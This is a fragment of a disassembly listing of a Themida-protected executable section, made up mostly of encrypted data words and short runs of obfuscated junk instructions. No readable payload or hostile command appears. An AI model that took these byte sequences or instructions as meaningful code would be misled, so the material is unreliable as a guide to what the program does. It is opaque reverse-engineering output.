		dd 15B60E3Fh, 4BF97B6Fh, 183C9127h, 74EADDDCh, 4E12550Ch
		dd 0A0A6F28Eh, 0D88F56E1h, 67BDBC1Bh, 0BA860ED0h, 66A1C1Ch
		dd 0E03E850h, 583920E0h, 0C365CC3h, 9810424h, 4021C01Dh
		dd 42FCC350h, 0FDA66D00h, 0A080C5BAh, 85FF03C0h, 61113A9h
		dd 0E535623h, 8944C35Bh, 2018625Ch, 97C35343h, 10966001h
		dd 0B5FFF5DEh, 0BF662740h, 89D21C8Eh, 14265995h, 5C5D8FFh
		dd 185737A1h, 23C3725Fh, 14117C89h, 0C3574700h,	852960EEh
		dd 46D3517Eh, 8B66E700h
		dd 0E2BD23F2h, 905CD025h, 8C1CE8h, 0A80F3CBCh, 2D2356DAh
		dd 0BD8BC40Dh, 0C88BD61h, 0E80C0BDDh, 0C0EC3B13h, 4EFBA514h
		dd 61F0D2FDh, 0C33C29F0h, 3F4C81A8h, 5E8D1B6h, 0E9603180h
		dd 0FC4A72CCh, 290A5F71h, 5B0B419Dh, 5D875511h,	6C8922C3h
		dd 452CEB9Ch, 803D7755h, 3D63BF41h, 0DE5A46Ah, 6870FC6h
		dd 0A5B88827h, 5BFC1F21h, 3A85198Eh, 31B23F8h, 1C63D0D7h
		dd 0DBE8FE98h, 0C35146C8h, 8991C359h, 8816184Ch, 0C32C5141h
		dd 0D4218B68h, 161818D1h, 0E8F4DA2Ch, 30564032h, 89E4C35Eh
		dd 1A227446h, 0C3564600h, 33A2E91Eh, 324707E3h,	97F7BF0Fh
		dd 1AFF3720h, 1D465C2Ah, 0B19480Fh, 1ECEDDC0h, 9124F8E5h
		dd 77405EE9h, 0E1399802h, 0E912015Bh, 0AD15403Ah, 50D2B8B7h
		dd 0B69C9300h, 98FEF16Ch, 0D4DB000Eh, 333C247Eh, 2100CA5Dh
		dd 197F70F0h, 505F8Fh, 0B0BFA8FAh, 919E48DAh, 179BB00h
		dd 817AE00Eh, 2E6700C9h, 417B65FEh, 0F4FDEABCh,	0AC00F6BAh
		dd 0B7CDBDB2h, 67F1B9B6h, 83B84A38h, 0AE88A1C3h, 0A77AA0F2h
		dd 49EC006h, 46D5DAh, 0A9EF593Ch, 975022E3h, 0D9909800h
		dd 0BF4E4183h, 0F1FE0065h, 5CE7BD2Ch, 0A778A89Ah, 0BBB4B700h
		dd 9F9053D5h, 36710Eh, 0D274D9A9h, 0DF4D095Eh, 0F11CE00h
		dd 3E3132F4h, 1CF058h, 78B92713h, 34803383h, 16C7AB1Dh
		dd 95E700B8h, 1F287ECFh, 493D0A01h, 41940FCDh, 5073087Fh
		dd 8143D0B2h, 0D8028E7Ah, 0CF968D28h, 0C95804Ah, 13A3530h
		dd 45DE0AE3h, 0E0CD0367h, 0EF636024h, 44012E50h, 0D8A147h
		dd 0A13F1312h, 0E6E95A2Ch, 51D9071Eh, 0C2DBD480h, 8746DCh
		dd 0A7CB7588h, 34C9C67Dh, 0E679E800h, 2C548E97h, 0E35F0651h
		dd 8C0BBE6Ch, 0B9374500h, 0FF157564h, 0A6470048h, 707FE8BAh
		dd 0A9F4B3ADh, 0EB589E01h, 0C052AEE4h, 41B0EF47h, 0C49FB29h
		dd 43BE1046h, 8F000979h, 0EA5BF7BCh, 9FD818E5h,	480151E3h
		dd 0C1B1BEA5h, 3EE83DC7h, 6E8200ADh, 0D809530Ah, 0EE0036D7h
		dd 5BA8757Ah, 200205h, 468083C5h, 5DC78D82h, 11ECE300h
		dd 75F11ACBh, 31CC007Ah, 0DDC344D4h, 9AA08EF9h,	67899BD9h
		dd 3E2F4B40h, 90EC0031h, 764E5F50h, 2C0018F3h, 0E866DA23h
		dd 1DCF15h, 7E89DF12h, 56D1A75Ch, 40F92FCFh, 0ADC5CA7Bh
		dd 251CA077h, 0FBD43CB0h, 2A58A10Ah, 303F00FDh,	262173EDh
		dd 6C09297Fh, 0F5504h, 75ECC85Dh, 679714B8h, 0FC03BC89h
		dd 0D7CBD240h, 150492A3h, 0D0116391h, 2D6478Ch,	41A2D83h
		dd 3249EE10h, 0EE1906Ch, 47003BD4h, 719AFA59h, 16123755h
		dd 40FC47Ch, 243F27F6h,	0A06CDA70h, 1DC908Bh, 5F5934Dh
		dd 223246DFh, 65A700EAh, 3033D80Fh, 72EE003Fh, 730739C4h
		dd 3D063231h, 8CB669E0h, 0E3E00AEh, 0A4A0FC01h,	991F52ABh
		dd 0F24FB44Fh, 91B504BCh, 13C16391h, 0F9356110h, 98A85618h
		dd 3001BF42h, 0EB0F5C8Ah, 83C0D55Dh, 16CAD3DCh,	5C00162h
		dd 0BFA9F30Ah, 772B2054h, 9D4E9602h, 40310B92h,	1E17EBE5h
		dd 9DE29980h, 5A2E0764h, 27EB7C9h, 0CF8171F2h, 40433738h
		dd 6E61DCA6h, 0AF092803h, 1888FFBh, 84D5A75Ah, 804F9568h
		dd 0F86ABC5Ch, 1269BBF7h, 2DF0FFh, 79ABAEECh, 0C9588544h
		dd 6A48C2h, 12EBE460h, 0C0BB6BECh, 73C481Dh, 0D400F671h
		dd 0FE38CB9Dh, 20D434Ch, 47A6A99Bh, 6040C37Dh, 17391078h
		dd 321800D1h, 0B172C8D6h, 20EF0039h, 0FEC6442Ch, 913DC6Eh
		dd 84445B0h, 0C3803C56h, 1C4CB74h, 6CB45EACh, 0DFC74838h
		dd 0B100CCC6h, 0A0A2FA03h, 3C909F4Bh, 48022C62h, 0EACB41D7h
		dd 7D179480h, 5000CEC1h, 68A8E6E0h, 696F543h, 0B7EB82F6h
		dd 2E1CDB5Dh, 0C5C9184Ah, 1458261Ah, 0F558A1E6h, 0CD1930h
		dd 9C4E889Bh, 8BB3BD93h, 0C7B49763h, 95008448h,	433F6BB4h
		dd 24DB173Bh, 9D842386h, 0AA80156Fh, 0DD1AE84Fh, 0B294016h
		dd 0CD4288CBh, 977F1D7Eh, 0F09E2A00h, 6E9C24AFh, 8AB8189Fh
		dd 0A5FB2EC7h, 3293A201h, 0D5252A66h, 92CF188Fh, 42D03000h
		dd 0E6198A85h, 0F88FA452h, 407C994Ch, 0D7034197h, 87B7D815h
		dd 9CE00382h, 1444F260h, 97984AD8h, 1DC7D2E0h, 92222351h
		dd 58F2609Dh, 7021EA81h, 2083632Eh, 63D0E907h, 0A801EEE1h
		dd 3AC3CC7Eh, 2510EA1Fh, 3624F073h, 57B58934h, 0A7938901h
		dd 3DFBE46Bh, 0FB9ECD15h, 481C4195h, 0DC987718h, 8D48CF9Ah
		dd 94560049h, 0DC73AF9Bh, 92753E2Eh, 6873593h, 3EA17C46h
		dd 6EDA2200h, 83409C61h, 0CF71038Ch, 78858AB5h,	0A283BB0h
		dd 247F9F4Ch, 4503D34Fh, 0C0323D2Fh, 50AE0D02h,	4DBB9187h
		dd 1471D1E9h, 0A3FA543Ah, 0AB9FE8C0h, 4F12FDD5h, 1D0466BEh
		db 0A5h, 3
; ---------------------------------------------------------------------------


loc_50B95E:				; CODE XREF: Themida_:0050B9CDj
		xor	dword ptr [eax], 0FFFFFF92h
		test	[eax-4A9BF3BAh], edx
		lock add ds:[ebp+6B21090Eh], edx
		fcomp	dword ptr [esi]
		and	[eax], al
		insd
		jns	short loc_50B9B1
		adc	eax, [esi]
		out	9Dh, eax
		dec	ecx
		sub	ebp, ebp
		xor	[ebx], ch
; ---------------------------------------------------------------------------
		db 6Bh
; ---------------------------------------------------------------------------
		stc


loc_50B981:				; CODE XREF: Themida_:0050B9B6j
		cmp	al, 0F6h
		mov	edx, 8519C901h
; ---------------------------------------------------------------------------
		dd 302E95FEh, 2AF4FCE6h, 0A3C7732Eh, 686A24Fh, 89FC8F43h
		dd 97CEA029h, 4C425B54h, 3802E87Ah, 926B64DCh, 0FE98C8C6h
		db 2Eh
; ---------------------------------------------------------------------------


loc_50B9B1:				; CODE XREF: Themida_:0050B974j
		out	dx, eax


loc_50B9B2:				; CODE XREF: Themida_:0050BA2Fj
		xchg	eax, ebp
		sbb	al, 0
		inc	esi
		jle	short loc_50B981
		mov	byte ptr [edi],	37h
		add	[edi-77h], dl
		out	52h, eax
		mov	edx, 7CD78D4h
		insd
		xor	edx, 797754F9h
		pusha
		loop	loc_50B95E
		sbb	[ebx-2D088CE1h], edx
		sub	edx, 50A62368h
		sub	byte ptr [eax],	8Eh
		aam	0C8h
		sahf
		add	edi, edx
		add	[edx-7Dh], bl
		out	dx, eax
		add	al, 87h
		cmp	al, 24h
		pop	esp
		pop	es
		push	ebp
		mov	ebp, esp
		add	ebp, 0EDD9BDADh
		inc	ecx
		push	es
		xchg	ebp, [esi+ecx*4]
		mov	es:[edx+eax*4],	edx
		push	0F0F581Bh
		sbb	al, 80h
		push	ebp
		mov	ebp, 761512EEh
		push	es
		cmp	eax, 67030481h
		dec	edx
		jnb	short loc_50BA77
		pop	edx
		inc	eax
		xchg	al, [edi]
		pop	ebp
		aaa
		push	esp
		mov	esi, ds:682F03C4h[esi*4]
		db	26h
		das
		popa
		push	ecx
		pusha
		pop	dword ptr [ebx+8]
		sahf
		sub	[ecx-7Bh], edx
		loope	loc_50B9B2
		ror	dword ptr [edi+edx], 83h
		or	al, 87h
		db	64h
		or	al, 92h
		mov	eax, [ecx]
		push	eax
		mov	eax, esp
		add	eax, 54C1244h
		xchg	ecx, [esi-2216FFA4h]
		db	65h
		cld
		call	fword ptr [ebp-6Fh]
		xchg	eax, ebp
		add	[edx+3Fh], ah


loc_50BA53:				; CODE XREF: Themida_:0050BAC0j
		dec	esp
		pop	esi
		repne mov eax, 0BCC0177Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 9Ah
		dd 585AA007h, 19D037F0h, 1A5F2FBh, 57A1EB7Ah, 0E8687227h
		db 50h,	1Fh, 0E4h
; ---------------------------------------------------------------------------


loc_50BA77:				; CODE XREF: Themida_:0050BA13j
		cmp	[eax], al
		and	eax, 642A9EA8h
		mov	bh, [ebx+551639C2h]
		lahf
		cmp	cs:[eax+3Dh], eax
		or	[edi], edi
		xchg	eax, ebx
		sbb	edx, edx
		add	[eax-4Ah], ah
		movsb
		pop	ecx
		sbb	al, 0CDh
		push	esi
		sahf
		add	[ecx-49h], esp
		aaa
		cmp	al, 2Eh
		cmp	dword ptr [ebp-18h], 48h
		inc	ecx
		add	[ebx+207C1A07h], ah
		clc
		sub	[ebp+70C28800h], esp
		inc	esi
		dec	esi
		jnp	short loc_50BB28
		add	byte ptr [eax],	0C9h
		lodsb
		push	eax
		mov	byte ptr [ecx+9034C3h],	5Bh
		outsd
		jg	short loc_50BA53
		js	short loc_50BB1A
		pop	ss
		mov	dl, 12h
; ---------------------------------------------------------------------------
		db 0FEh
		dd 7A007052h, 0E184695Eh, 0DB011DECh, 0B25BC39Eh, 0B680A158h
		dd 330117B9h, 558675EEh, 682DC18Bh, 0BE0262B8h,	0F5B58B13h
		dd 20187227h, 0EB25036Dh, 51BB9A04h, 181759F3h,	0ECEF12C6h
		dd 8079DB6Ch, 37963193h, 11176D5h, 91CE8166h, 398A0F24h
; ---------------------------------------------------------------------------
		adc	al, 13h


loc_50BB1A:				; CODE XREF: Themida_:0050BAC2j
		or	edi, [ebp-7A722B6Fh]
		fldenv	byte ptr [edi]
		or	[edx-74h], dl
		cmp	[edx-3Dh], ebx


loc_50BB28:				; CODE XREF: Themida_:0050BAB1j
		adc	ecx, [ecx+138B54h]
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 0A1h, 0B3h, 7Eh
		dd 55F4059Bh, 0C8E9146Fh, 160B8C3Ah, 95756h, 0ECE68511h
		dd 4E8E0F15h, 9E2FCD5Ah, 0D60FB727h, 0E8773319h, 28720BC0h
		dd 0CF78F5h, 42F945Ah, 3744698Ah, 66D2A301h, 5EEC3CBFh
		dd 0F9090A3Ch, 0C268E850h, 13121041h, 26006CBDh, 3C3924CFh
		dd 221B049Ah, 80A9126Eh, 0E956DA57h, 472C38A0h,	0C935B500h
		dd 0B83E269Ah, 7F820029h, 5E2E4145h, 629C905Fh,	0F14465Eh
		dd 0CA9589F8h, 0B448B206h, 7A1D4674h, 2EF0D4A0h, 0E3125804h
		dd 3D81F694h, 2D490AA1h, 1A88694Bh, 75902AC0h, 7F5F582Fh
		dd 0F3B70F09h, 1B330C01h, 0E8573C15h, 0EC7D8C1Bh, 747BF100h
		dd 0E9E5B83Ah, 9F21C312h, 4A98ED1Ah, 4372209Bh,	92795B05h
		dd 0BAC00849h, 383CE06h, 0BD2B05C0h, 0E0043475h, 89F08B50h
		dd 0BF1E6EC5h, 0E7C0394h, 1AC19D31h, 0D19B7911h, 2F31816h
		dd 0B53339D4h, 63D20DDDh, 8F075D24h, 15467Ch, 9D8D0F29h
		dd 0A514A420h, 6714E423h, 83D3FFE2h, 10317DF7h,	0D3AD859Bh
		dd 17C8B0CAh, 0C6AEC9C0h, 70BF01B4h, 0E97C585Eh, 0E81234F3h
		dd 5D162BDCh, 213D8A09h, 0F5858905h, 5B7CBD68h,	0D00146BDh
		dd 0F182E07h, 93BED86h,	2A926B5h, 719D8491h, 0CE9040Eh
		dd 0DA42A340h, 0BA002A78h, 34D34B4Ch, 70811D5Bh, 530165E3h
		dd 826C1D8Fh, 0DB0BF9BFh, 10551A61h, 1F6E681h, 8311D254h
		dd 0B118D7BDh, 298430ACh, 18527A4h, 0E90528DFh,	0E1D03748h
		dd 0AEFC6E5Ch, 368551C7h, 0C2BEADA8h, 0E95EF8A4h, 0BE050444h
		dd 48861F2Ah, 84081927h, 97598D09h, 169D5537h, 0C8118E93h
		dd 5B59C019h, 0AC05C1C0h, 65950197h, 0EF907B0h,	0FEFF2381h
		dd 0C637ED5Ch, 0C2226700h, 2F661F71h, 2237DB8Ch, 8917CE00h
		dd 0EFF6B5BCh, 61D286FEh, 78349323h, 34023BD9h,	22C41443h
		dd 91DA41F1h, 3FAF9A0h,	632D793Ah, 44C5250h, 47CD051Eh
		dd 79C2310Fh, 9D2A6A5Eh, 801A11A3h, 39E1286Eh, 828004D7h
		dd 9702FCE9h, 98057456h, 1930F73Eh, 12CF0FB0h, 70E624BEh
		dd 2BB508EAh, 0F71E400h, 6FE9D8B6h, 0E0603D0Dh,	0FB8E78FEh
		dd 215FD900h, 0C5503293h, 41FCB6BAh, 71BA5B5h, 8AE6C365h
		dd 3191E1E0h, 5B5AA400h, 60C721CBh, 1B61E453h, 2D810F5Eh
		dd 9D898087h, 70C52901h, 0E30AE8C1h, 883F478Ch,	51EB58Dh
		dd 3AE2F766h, 1B23ADh, 0A565F4EBh, 98753655h, 940B9BAh
		dd 76D8582Bh, 2E8C17E8h, 37813F86h, 22024A6h, 800EE893h
		dd 33C33A13h, 6C7C0012h, 3C22D199h, 0A2051CB5h,	0FC93505Eh
		dd 43467EF3h, 1A1012B0h, 5E5ED85Dh, 48129636h, 0F5114F7h
		dd 1988E50Eh, 0C868EC0h, 6E15244Ch, 2EDE0437h, 5E2F86C2h
		dd 613CFB02h, 6AA6830Fh, 0A5E8025Ch, 81400A0Ch,	0CAF2B8BFh
		dd 56332330h, 0AD79F090h, 0D4D609A4h, 4F08C272h, 0C9109E4h
		dd 0FC9D1F1Ah, 6A8D1411h, 2330D9B8h, 0F3E06435h, 60560F82h
		dd 665FF2C5h, 16F00A58h, 0A6FF88F4h, 16DEE8F7h,	56B9EFF8h
		dd 23B83B77h, 83CF0B14h, 0AE85783h, 8063193Ch, 0D290714Dh
		dd 66618821h, 2180C24Fh, 5F165EE0h, 0B10BD93Bh,	0C4EBE7CAh
		dd 1C55601Dh, 5A4D0142h, 1E336F8Ah, 0FA9C4270h,	6211EC63h
		dd 4F480688h, 13159910h, 0D848C1F6h, 0CD899F82h, 301E17D9h
		dd 1D69A1F7h, 51C1320Ch, 18157963h, 0E85B293Ah,	4DE700B3h
		dd 1523FE2Dh, 853C9B61h, 78340825h, 2B5B17F7h, 1CEFC5C3h
		dd 0B2A502Fh, 9108343Dh, 0E913274Ch, 0F6000BF6h, 0A243DA4Fh
		dd 0FBB595h, 57533B3Eh,	0F4EAC41Ch, 0EE815A00h,	31A93F8Dh
		dd 8B0E53E9h, 812DF918h, 0D67081C0h, 7128A912h,	1DD87149h
		dd 8316116Ah, 7035693Dh, 1AC18AAEh, 916D81B5h, 0E97BC07Dh
		dd 2C001C22h, 691097B8h, 0AC1A3F82h, 9D92F4F5h,	901811D6h
		dd 1A3400F0h, 8ED8BFF4h, 0F3505C5Ch, 633285F1h,	301CF2DAh
		dd 0B203362Fh, 9A08DD03h, 4FB8841Fh, 3D9589C2h,	0F08B1168h
		dd 284AB899h, 119465Ch,	89C4D1E3h, 89306973h, 3EE926F7h
		dd 8E0FC2BCh, 6602DD72h, 0E9E459BEh, 0D08B2008h, 0E2042CB7h
		dd 9068CC3Fh, 1A881FCEh, 0D11384C0h, 88620314h,	98F0FE8h
		dd 4FA2141h, 0F5BAC226h, 796AED56h, 6B55E112h, 9DBCFBh
		dd 7F7D67E9h, 2657CDD6h, 5565162h, 36BF000Ah, 90594A4h
		dd 199D8B60h, 6DA2B852h, 0B1EBD000h, 4CCE5B2Fh,	6FC4BF00h
		dd 0BDAF8C0Dh, 478F010h, 61272ED9h, 2F256h, 0AFE2BC20h
		dd 9ACB3h, 12E86F39h, 503ADC53h, 215D1D1Ch, 7508A964h
		dd 0E5E180Dh, 38131E1h,	0B6229DF5h, 123D4E7Ch, 0C93E04A4h
		dd 24FD1430h, 0F9081BFAh, 0F594BF28h, 19F89802h, 0FCF63A8Ch
		dd 3EE39C85h, 2CD707BFh, 5E68391Ch, 123E3A36h, 0D770009Dh
		dd 0AAEDA701h, 86605C2Ch, 8D8B8870h, 0D2CBF96Eh, 1D0BE508h
		dd 59BD0661h, 0A0B3F30Eh, 3D002724h, 0E96296A5h, 0E310B837h
		dd 1CB8ED39h, 34F9502h,	602ABC28h, 328531F2h, 0C19315ADh
		dd 18446447h, 1DD01160h, 9672DD24h, 42F1280Bh, 0E415C77Ch
		dd 355E6119h, 58C5AFFCh, 6F5C3363h, 0A705BDC5h,	20BE0057h
		dd 50522919h, 0C404B056h, 0B6240462h, 883BE0ECh, 3EDC6BCBh
		dd 40C10D4Dh, 3C989FAEh, 2B1DB6F8h, 5F61FB84h, 9EF0F064h
		dd 0AC0F1D6Fh, 1C794946h, 26BC4400h, 2529C1B8h,	5201619Dh
		dd 0CA50905Eh, 75701ED3h, 5270010h, 14336D91h, 11DA5B4h
		dd 28A1E1B5h, 0A4D219Ah, 0C6049424h, 83F713FCh,	8025DA4Bh
		dd 9450FB97h, 85693AEDh, 0FF27D948h, 0DCC08C9Ah, 515CBD09h
		dd 53D38622h, 5FF12728h, 0BD4D779Ah, 98757BE0h,	1FF7025Ah
		dd 359529C7h, 0BCE92A48h, 7B2C084Fh, 84DAAAB8h,	604A0D47h
		dd 64E7078Ch, 49DE438Dh, 61204590h, 3779889Eh, 5D4C3828h
		dd 18C17E8h, 0BF873788h, 32998D01h, 269D3B84h, 1D429021h
		dd 9CC6091Fh, 9449F84Fh, 91CB1F99h, 4B82801Dh, 0F142279h
		dd 102AAEA5h, 0D98D8922h, 0BD836B68h, 91225327h, 0C11436B9h
		dd 102912Fh, 87AD66E9h,	1F0032B7h, 0ECF23197h, 0A0382C81h
		dd 866089E2h, 93C3B8E2h, 0C631864Eh, 0B8010E8h,	95F7D04Bh
		dd 5400C0A8h, 2B31AEFAh, 988ADD5h, 0E95E851Dh, 0D8FE512h
		dd 2B2125A8h, 0FCA04538h, 0A0D89CB9h, 76C29EC4h, 39001C46h
		dd 0BC4E586Ah, 7268410h, 15110A34h, 0F661E928h,	94A30321h
		dd 2BBFB936h, 2C845788h, 978D7909h, 90EFE68Fh, 16F14F31h
		dd 810D9BD2h, 0BC50F30Ch, 4F88D13Ch, 5147F369h,	8FF1C4F0h
		dd 0B40B8DFCh, 984199FCh, 0BFB02Ch, 7A0B3CD8h, 0C0D249ECh
		dd 0AACDE00h, 62C28D12h, 0B38F2536h, 9EBF2B98h,	31268E7Fh
		dd 0FC24FD50h, 92DCE98Eh, 1C23B63Eh, 1B5C3400h,	2A55B9Ch
		dd 89B67BCBh, 757869B5h, 2C6FB05Eh, 0F2D2C7Ch, 949D00ECh
		dd 0BE91D05h, 1FBE23C0h, 900F7A04h, 0EB6E0228h,	70E65387h
		dd 0C8436B5h, 0E6C11B1Eh, 2B692141h, 12F94E78h,	800D9BEDh
		dd 1A1CCDADh, 49089E4Ch, 0BFE852E4h, 0BD775F00h, 0C72390E8h
		dd 60FF0220h, 0F9C38BAEh, 4093F370h, 5AACD278h,	561FCFEh
		dd 0BA326D16h, 5DC3CCh,	6B661813h, 0BCEA3CA9h, 14ABEC14h
		dd 1DAD1080h, 0F3905E2Fh, 0CA0E9E4Fh, 69AE62h, 6785FA15h
		dd 974416C9h, 0E65784FCh, 9841E247h, 7869EAh, 562233D3h
		dd 0FB7E137Bh, 0D84F2BF4h, 7F8039DBh, 0F0979828h, 0A7423E0Fh
		dd 0E8934554h, 52CB3800h, 55E1ECh, 97E517CAh, 505FEDB7h
		dd 0E8D89358h, 6E168C16h
		dd 759B303Eh, 36C01988h, 2559FBEh, 0B5230818h, 0DA520435h
		dd 13DDF65Ah, 3BA8286Dh, 1D1A6F0Bh, 0F60A00AFh,	0B5B005ADh
		dd 0BD7937h, 3062EC25h,	0A64756C6h, 57D200B2h, 0F2134FA5h
		dd 0F600F4A6h, 0A9BFCE97h, 5C52DCE5h, 3C0E15Fh,	0D22F725Bh
		dd 6160501Fh, 0E9155E92h, 0AC1BC2Dh, 2C85BD2Bh,	0B286929Ch
		dd 39B508E4h, 0BBF32802h, 0B65F705Bh, 76F93126h, 11B4F6A2h
		dd 9F023489h, 801A11FCh, 5E23D927h, 0A6AA2CDFh,	0FFE915ADh
		dd 2D47F826h, 1811E21Dh, 0CA6F6B80h, 859EE519h,	0FC2ECC40h
		dd 9545025Bh, 22DCDBFEh, 0A8097F5Ch, 0C75B896Eh, 6018C458h
		dd 1254CCCBh, 0B28B9C96h, 42FB760Fh, 6A2B619Bh,	1F6D8986h
		dd 85159126h, 0F408F3ACh, 0C986A50Eh, 19B57791h, 2B3061ECh
		dd 0E9B51901h, 68581E33h, 0A429CFE0h, 0C41620FDh, 92C056DBh
		dd 451A4486h, 6116C4CEh, 81FA6F85h, 0BB5CEEB3h,	0B6F83D70h
		dd 0BD89418Fh, 5A7238E9h, 3D03790Fh, 0D2120F1Ah, 1022567h
		dd 0A6020D3Dh, 772AA38Fh, 812DA680h, 0EA02E5DEh, 9D31259Eh
		dd 0B414D8CDh, 5B82206Eh, 0A268726Dh, 19F14E51h, 1502C118h
		dd 0AE667501h, 4A53ECF9h, 1C95085Bh, 0CDC32B09h, 0A3D8C0B7h
		dd 703AFCBDh, 0E2992A33h, 304048B4h, 30DB0A67h,	394C02C8h
		dd 9B16D9EFh, 0EDC50CA9h, 2A2985A6h, 1817D978h,	4D05061Bh
		dd 1925E9D3h, 9D2D5090h, 0CE889022h, 4BAAF4C3h,	2EFB8938h
		dd 7372F840h, 0FD14C28h, 0F0020E9Fh, 70E52601h,	0D29F6C2Ah
		dd 0D18073DAh, 13E4DF58h, 0E116311Dh, 0F9E8378Dh, 26D83C0h
		dd 4C73D6BDh, 0D440A332h, 0C7255FFBh, 0B1BB6885h, 81D84AEDh
		dd 4212DDCBh, 65413169h, 7C682E21h, 6F364585h, 0F86BB474h
		dd 21121602h, 0AE40C948h, 0DB6658C7h, 906AE60Ah, 17C12041h
		dd 600FD09Bh, 0D585C551h, 0B359C541h, 0B26261C5h, 16416B93h
		dd 0A86F90A2h, 23F7800h, 253057F7h, 0C66E405Ah,	4D15E500h
		dd 8BCA79E3h, 0AC50FB24h, 2D145908h, 9DD9941Ah,	0B73A5F97h
		dd 0D4041423h, 1B888D0Fh, 201A9852h, 5E4827E1h,	9002056Eh
		dd 0CBB05A98h, 2618831Ch, 0B7931535h, 3195FEFFh, 0BF131205h
		dd 8623F2h, 0ED04C79h, 0FAAB3ADh, 35682132h, 9A3E7800h
		dd 1B02A175h, 23F98BFCh, 4D8D2BDh, 0B23E6ABFh, 0B83CA94Ch
		dd 0FE8B25E4h, 18A9BD90h, 0F9AD2C00h, 1CEF6DDh,	0ABB0078h
		dd 98891BD7h, 3801BA3Eh, 46EF81B3h, 87C6649Eh, 0B0855BDh
		dd 0A5D063E9h, 16BE109Dh, 54C90057h, 0FB315E7Dh, 0B4017C7Ah
		dd 0C5D9B1ADh, 0D6D0D0EDh, 4DBF01B7h, 5F19717Fh, 324A5060h
		dd 36007ED4h, 0D33D62F3h, 24C526h, 862A2CBFh, 4F01AF60h
		dd 0EB93F27h, 0E8BE4077h, 137EFDCFh, 85C18D21h,	0E04CE6DEh
		dd 19EA873h, 8A83EA6Dh,	22E9B43Eh, 0FD86012Eh, 98B989DAh
		dd 2185850h, 7F27008Ah,	34632850h, 1C00CE2Bh, 0E459D06Dh
		dd 626BFEA5h, 0ED99CA1h, 0D1BD2901h, 0AA8BD864h, 0A603D95Ah
		dd 285908EAh, 13E1830Fh, 1323320Eh, 16C8708Eh, 0CCF4F5C7h
		dd 346325C7h, 947C6B38h, 31D0A4DBh, 74BE01DDh, 3A0B7CBFh
		dd 52B7115h, 49089422h,	25732A5Fh, 1FAA72D8h, 4852F3Bh
		dd 81F3B7BBh, 2044DB1h,	5234161h, 7E4A6810h, 840DEC32h
		dd 251746D0h, 73298531h, 0FAC61D0Bh, 0D4F5F828h, 32127D5Fh
		dd 2383C1DBh, 482F37D9h, 0B7D98B0Dh, 40B604CCh,	0DF7C180h
		dd 4E6A0731h, 2A0AF593h, 264AFC1h, 0AA1B1C52h, 1257EF3Fh
		dd 409CAE28h, 0C28017BFh, 420AADE6h, 0A62272F4h, 57372Dh
		dd 7BA878Ch, 51278D29h,	3F86C24h, 5DF8D12Fh, 4ED812AEh
		dd 6E2A3643h, 0BDBDCFDEh, 0F53500C9h, 0FD754E03h, 8AD7073Ah
		dd 0C289B621h, 3D2DB509h, 80028370h, 7FA0F7C7h,	0A8B833C5h
		dd 0A725BB1Ah, 0F4FE7A5Ch, 52C728B8h, 7B70D0BBh, 417EB9C0h
		dd 3903A5B1h, 0C76CE2D3h, 0CB34A5A3h, 0BDD2151Dh, 0B48226D4h
		dd 58E1AD4Dh, 93BD6CA5h, 927B2707h, 3B48DA65h, 21A3A806h
		dd 39282791h, 9725ED20h, 0F6B85110h, 2F0228B8h,	0D3808E6Fh
		dd 9246E21Bh, 6E6600h, 0C8BCE695h, 8DD50B2Dh, 7889BB00h
		dd 9F7F7CF3h, 920A142Ch, 0FC5FA58h, 0B57138Fh, 304E12BDh
		dd 6DC6490Fh, 0E73EE0A2h, 17627F69h, 4FBAB51h, 10033578h
		dd 1ED1AC9h, 70367B0Ch,	50059E3h, 0CE2E0ED3h, 0E5686069h
		dd 0D809F978h, 13812767h, 6061C61Bh, 9CCC0F2h, 4F717CD2h
		dd 80C7DE0Eh, 5AD88D20h, 5DBD4E8Bh, 0D99D8993h,	0DF813210h
		dd 0D42C8D3Dh, 95162974h, 13731BA5h, 6E5B4F20h,	2FCD01F6h
		dd 8B9B0A27h, 2BBE6B50h, 0B842A98h, 802C8034h, 1BA94CF3h
		dd 7FB8DC5Dh, 0F2645A00h, 0CEEDE3E1h, 0C75412EEh, 2AB39D85h
		dd 0F1012C6Eh, 456AE418h, 9AD5208Eh, 0ED61CB27h, 0F446C0B0h
		dd 1009556h, 3CE380F5h,	256107EBh, 0B659E99Dh, 721815F9h
		dd 0B5897105h, 0F8423265h, 0B5EECBBEh, 7693807Ah, 57F4226h
		dd 2E80F699h, 8AFB16Bh,	61ED1CFCh, 0C18B427Ah, 6F5475E9h
		dd 0A8D88C41h, 35218D38h, 0B5FF0101h, 432B0ED1h, 14747F69h
		dd 89D0C3B7h, 4DC8EDC2h, 0C10CFE8Bh, 3C680CEFh,	0C6206E04h
		dd 0A4570247h, 1452A80Dh, 271A95FFh, 0C62848E9h, 17D16085h
		dd 30DF6856h, 7FA9C532h, 0B928340Fh, 514A0E29h,	6A505006h
		dd 5605347Ch, 6112016Eh, 0D6E0C1C3h, 3A05DAD1h,	8814489Ch
		dd 5BC702E9h, 0E016F680h, 0B56F1896h, 24F240A7h, 5073B094h
		dd 4E1EDEFEh, 5A45F89Ch, 0DAF233FFh, 63EACD00h,	0E5E399FEh
		dd 74666B01h, 6AAD0FE7h, 7A598BD4h, 2CC6E857h, 4E5815Eh
		dd 0BC2D6097h, 4610859Eh, 40A251C0h, 948200BCh,	79AB3F17h
		dd 7C0C16C2h, 3C22D030h, 0D6B11953h, 0E4F2BC6Ch, 0D135FE9h
		dd 77B23A40h, 2CEF900h,	42D42630h, 1BFED500h, 25400106h
		dd 0ECB70610h, 0E6038F51h, 0EB83C30Ch, 71D3A002h, 0F281014Bh
		dd 0AEFBD73h, 1AFF204Fh, 0F389F3B9h, 0B0DAE9h, 0B796B140h
		dd 711681A2h, 0B6990B00h, 3B1958BBh, 1F7A0074h,	38FC2DB8h
		dd 6159E94Dh, 90F90004h, 0C9C848EAh, 6A0E1437h,	2E078757h
		dd 0C071F609h, 0E489A008h, 0E7636600h, 8DC47D4Dh, 898EB45h
		dd 5F0A21DBh, 0EDC76300h, 539896E0h, 0C418C016h, 4A0E2968h
		dd 8FB11D03h, 0BF908A2Ah, 3E2B6AB0h, 4F0940B2h,	4623C906h
		dd 7102EB6h, 0CA97DC4h,	9AC0AE82h, 0A21408CAh, 2B3F5CE4h
		dd 0A4419849h, 259160h,	0A619E1D6h, 52326216h, 7CA9C00h
		dd 8C1CE474h, 0E8C6305Dh, 20388920h, 7CDCF014h,	4F21E120h
		dd 0A00C7318h, 0D10CACDCh, 4CFB0128h, 0ADFC9220h, 88E46C8h
